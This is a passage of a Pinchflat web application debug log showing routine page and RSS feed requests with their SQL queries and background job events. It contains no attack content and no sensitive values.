m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:53.340 [info] Sent 200 in 2ms 17:01:53.837 [info] GET /sources/25/media/1564178 17:01:53.837 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564178", "source_id" => "25"} Pipelines: [:browser] 17:01:53.837 [debug] QUERY OK source="media_items" db=0.1ms idle=498.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564178] 17:01:53.837 [debug] QUERY OK source="tasks" db=0.0ms idle=498.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564178] 17:01:53.838 [debug] QUERY OK source="sources" db=0.1ms idle=498.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:01:53.839 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=498.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3798561] 17:01:53.839 [debug] QUERY OK source="settings" db=0.0ms idle=499.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.839 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.839 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:53.839 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:53.840 [info] Sent 200 in 3ms 17:01:58.882 [info] {"source":"oban","duration":10284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.052 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:02:09.921 [info] GET /sources/36/media/1564179 17:02:09.921 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564179", "source_id" => "36"} Pipelines: [:browser] 17:02:09.921 [debug] QUERY OK source="media_items" db=0.1ms idle=1043.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564179] 17:02:09.922 [debug] QUERY OK source="tasks" db=0.1ms idle=1043.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564179] 17:02:09.922 [debug] QUERY OK source="sources" db=0.1ms idle=1043.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:02:09.922 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=677.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3798654] 17:02:09.923 [debug] QUERY OK source="settings" db=0.0ms idle=44.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:09.923 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:09.923 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:09.923 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:02:09.924 [info] Sent 200 in 3ms 17:02:10.180 [info] GET /sources/1/media/1564180 17:02:10.180 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564180", "source_id" => "1"} Pipelines: [:browser] 17:02:10.180 [debug] QUERY OK source="media_items" db=0.1ms idle=257.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564180] 17:02:10.181 [debug] QUERY OK source="tasks" db=0.2ms idle=258.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564180] 17:02:10.181 [debug] QUERY OK source="sources" db=0.3ms idle=257.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:02:10.181 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=258.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799134] 17:02:10.181 [debug] QUERY OK source="settings" db=0.0ms idle=257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:10.181 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:10.182 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:02:10.182 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:02:10.183 [info] Sent 200 in 3ms 17:02:28.893 [info] {"source":"oban","duration":10634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:30.777 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 17:02:30.777 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 17:02:30.778 [debug] QUERY OK source="sources" db=0.2ms idle=1510.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 17:02:30.779 [debug] QUERY OK source="media_items" db=1.2ms idle=899.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 17:02:30.780 [debug] QUERY OK source="source_metadata" db=0.1ms idle=902.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 17:02:30.781 [debug] QUERY OK source="media_metadata" db=0.0ms idle=902.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564178] 17:02:30.781 [info] Sent 200 in 3ms 17:02:31.998 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 17:02:31.998 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 17:02:31.998 [debug] QUERY OK source="sources" db=0.1ms idle=729.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 17:02:31.999 [debug] QUERY OK source="media_items" db=0.8ms idle=120.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 17:02:32.000 [debug] QUERY OK source="source_metadata" db=0.0ms idle=122.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 17:02:32.000 [debug] QUERY OK source="media_metadata" db=0.0ms idle=122.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564179] 17:02:32.000 [info] Sent 200 in 2ms 17:02:58.904 [info] {"source":"oban","duration":10128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.053 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:03:00.781 [info] GET /sources 17:03:00.781 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 17:03:00.781 [debug] QUERY OK source="settings" db=0.1ms idle=903.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.782 [debug] QUERY OK source="settings" db=0.0ms idle=903.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.782 [debug] QUERY OK source="settings" db=0.0ms idle=903.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.782 [debug] QUERY OK source="settings" db=0.0ms idle=728.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.782 [debug] QUERY OK source="settings" db=0.0ms idle=482.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.815 [debug] QUERY OK source="sources" db=32.3ms queue=0.1ms idle=1.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 17:03:00.864 [debug] QUERY OK source="sources" db=48.5ms queue=0.2ms idle=33.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 17:03:00.866 [info] Sent 200 in 84ms 17:03:00.904 [info] GET /settings 17:03:00.904 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 17:03:00.904 [debug] QUERY OK source="settings" db=0.1ms idle=121.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.904 [debug] QUERY OK source="settings" db=0.1ms idle=122.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.904 [debug] QUERY OK source="settings" db=0.0ms idle=122.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.905 [debug] QUERY OK source="settings" db=0.0ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:00.905 [info] Sent 200 in 1ms 17:03:20.590 [info] GET /app_info 17:03:20.590 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 17:03:20.591 [debug] QUERY OK source="settings" db=0.1ms idle=1712.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:20.591 [debug] QUERY OK source="settings" db=0.0ms idle=1712.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:20.591 [debug] QUERY OK source="settings" db=0.0ms idle=1712.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:20.591 [debug] QUERY OK source="settings" db=0.0ms idle=1271.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:20.591 [debug] QUERY OK source="settings" db=0.0ms idle=270.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:03:20.592 [info] Sent 200 in 1ms 17:03:20.928 [info] GET /sources/2 17:03:20.928 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:03:20.928 [debug] QUERY OK source="sources" db=0.1ms idle=337.4ms SELECT s0."id", s0."enabled", s0."uuid", 